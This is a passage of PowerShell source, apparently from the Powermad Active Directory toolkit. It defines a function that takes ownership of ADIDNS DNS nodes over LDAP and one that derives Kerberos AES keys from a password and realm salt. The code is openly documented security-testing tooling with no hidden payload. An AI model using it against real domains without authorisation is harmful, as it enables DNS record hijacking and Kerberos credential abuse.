$($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } } function Set-ADIDNSNodeOwner { <# .SYNOPSIS This function can sets the owner of an ADIDNS Node. Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .DESCRIPTION This function can sets the owner of an ADIDNS Node. .PARAMETER Attribute The ADIDNS node attribute. .PARAMETER Credential PSCredential object that will be used to read the attribute. .PARAMETER DistinguishedName Distinguished name for the ADIDNS zone. Do not include the node name. .PARAMETER Domain The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController parameter. .PARAMETER DomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. .PARAMETER Node The ADIDNS node name. .PARAMETER Partition Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. .PARAMETER Principal The user or group that will be granted ownsership. .PARAMETER Zone The ADIDNS zone. .EXAMPLE Set the owner of a node named test to user1. Set-ADIDNSNodeOwner -Node test -Principal user1 .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$false)][String]$DistinguishedName, [parameter(Mandatory=$false)][String]$Domain, [parameter(Mandatory=$false)][String]$DomainController, [parameter(Mandatory=$true)][String]$Node, [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", [parameter(Mandatory=$true)][String]$Principal, [parameter(Mandatory=$false)][String]$Zone, [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if($invalid_parameter) { Write-Output "[-] $($invalid_parameter) is not a valid parameter" throw } if(!$DomainController -or !$Domain -or !$Zone) { try { $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Output "[-] $($_.Exception.Message)" throw } } if(!$DomainController) { $DomainController = $current_domain.PdcRoleOwner.Name Write-Verbose "[+] Domain Controller = $DomainController" } if(!$Domain) { $Domain = $current_domain.Name Write-Verbose "[+] Domain = $Domain" } if(!$Zone) { $Zone = $current_domain.Name Write-Verbose "[+] ADIDNS Zone = $Zone" } if(!$DistinguishedName) { if($Partition -eq 'System') { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" } else { $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" } $DC_array = $Domain.Split(".") ForEach($DC in $DC_array) { $distinguished_name += ",DC=$DC" } Write-Verbose "[+] Distinguished Name = $distinguished_name" } else { $distinguished_name = "DC=$Node," + $DistinguishedName } if($Credential) { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) } else { $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" } try { $account = New-Object System.Security.Principal.NTAccount($Principal) $directory_entry.PsBase.ObjectSecurity.setowner($account) $directory_entry.PsBase.CommitChanges() } catch { Write-Output "[-] $($_.Exception.Message)" } if($directory_entry.Path) { $directory_entry.Close() } return $output } #endregion #region begin Miscellaneous Functions function Get-KerberosAESKey { <# .SYNOPSIS Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The results have been verified against the test values in RFC3962, MS-KILE, and my own test lab. https://tools.ietf.org/html/rfc3962 https://msdn.microsoft.com/library/cc233855.aspx Author: Kevin Robertson (@kevin_robertson) License: BSD 3-Clause .PARAMETER Password [String] Valid password. .PARAMETER Salt [String] Concatenated string containing the realm and username/hostname. AD username format = uppercase realm + case sensitive username (e.g., TEST.LOCALusername, TEST.LOCALAdministrator) AD hostname format = uppercase realm + the word host + lowercase hostname without the trailing '$' + . + lowercase realm (e.g., TEST.LOCALhostwks1.test.local) .PARAMETER Iteration [Integer] Default = 4096: Int value representing how many iterations of PBKDF2 will be performed. AD uses the default of 4096. .PARAMETER OutputType [String] Default = AES: (AES,AES128,AES256,AES128ByteArray,AES256ByteArray) AES, AES128, and AES256 will output strings. AES128Byte and AES256Byte will output byte arrays. .EXAMPLE Get-KerberosAESKey -Password password -Salt ATHENA.MIT.EDUraeburn -Iteration 1 Verify results against first RFC3962 sample test vectors in section B. .EXAMPLE Get-KerberosAESKey -Salt TEST.LOCALuser Generate keys for a valid AD user. .LINK https://github.com/Kevin-Robertson/Powermad #> [CmdletBinding()] param ( [parameter(Mandatory=$true)][String]$Salt, [parameter(Mandatory=$false)][System.Security.SecureString]$Password, [parameter(Mandatory=$false)][ValidateSet("AES","AES128","AES256","AES128ByteArray","AES256ByteArray")][String]$OutputType = "AES", [parameter(Mandatory=$false)][Int]$Iteration=4096 ) if(!$Password) { $password = Read-Host -Prompt "Enter password" -AsSecureString } $password_BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password) $password_cleartext = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($password_BSTR) [Byte[]]$password_bytes = [System.Text.Encoding]::UTF8.GetBytes($password_cleartext) [Byte[]]$salt_bytes = [System.Text.Encoding]::UTF8.GetBytes($Salt) $AES256_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93,0x5C,0x9B,0xDC,0xDA,0xD9,0x5C,0x98,0x99,0xC4,0xCA,0xE4,0xDE,0xE6,0xD6,0xCA,0xE4 $AES128_constant = 0x6B,0x65,0x72,0x62,0x65,0x72,0x6F,0x73,0x7B,0x9B,0x5B,0x2B,0x93,0x13,0x2B,0x93 $IV = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 $PBKDF2 = New-Object Security.Cryptography.Rfc2898DeriveBytes($password_bytes,$salt_bytes,$iteration) $PBKDF2_AES256_key = $PBKDF2.GetBytes(32) $PBKDF2_AES128_key = $PBKDF2_AES256_key[0..15] $PBKDF2_AES256_key_string = ([System.BitConverter]::ToString($PBKDF2_AES256_key)) -replace "-","" $PBKDF2_AES128_key_string = ([System.BitConverter]::ToString($PBKDF2_AES128_key)) -replace "-","" Write-Verbose "PBKDF2 AES128 Key: $PBKDF2_AES128_key_string" Write-Verbose "PBKDF2 AES256 Key: $PBKDF2_AES256_key_string" $AES = New-Object "System.Security.Cryptography.AesManaged" $AES.Mode = [System.Security.Cryptography.CipherMode]::CBC $AES.Padding = [System.Security.Cryptography.PaddingMode]::None $AES.IV = $IV # AES 256 $AES.KeySize = 256 $AES.Key = $PBKDF2_AES256_key $AES_encryptor = $AES.CreateEncryptor() $AES256_key_part_1 = $AES_encryptor.TransformFinalBlock($AES256_constant,0,$AES256_constant.Length) $AES256_key_part_2 = $AES_encryptor.TransformFinalBlock($AES256_key_part_1,0,$AES256_key_part_1.Length) $AES256_key = $AES256_key_part_1[0..15] + $AES256_key_part_2[0..15] $AES256_key_string = ([System.BitConverter]::ToString($AES256_key)) -replace "-","" # AES 128 $AES.KeySize = 128 $AES.Key = $PBKDF2_AES128_key $AES_encryptor = $AES.CreateEncryptor() $AES128_key = $AES_encryptor.TransformFinalBlock($AES128_constant,0,$AES128_constant.Length) $AES128_key_string = ([System.BitConverter]::ToString($AES128_key)) -replace "-","" Remove-Variable password_cleartext switch($OutputType) { 'AES' { Write-Output "AES128 Key: $AES128_key_string" Write-Output "AES256 Key: $AES256_key_string" } 'AES128' { Write-Output "$AES128_key_string" } 'AES256' { Write-Output "$AES256_key_string" } 'AES128ByteArray' { Write-Output $AES128_key } 'AES256ByteArray' { Write-Output $AES256_key } } } #endregion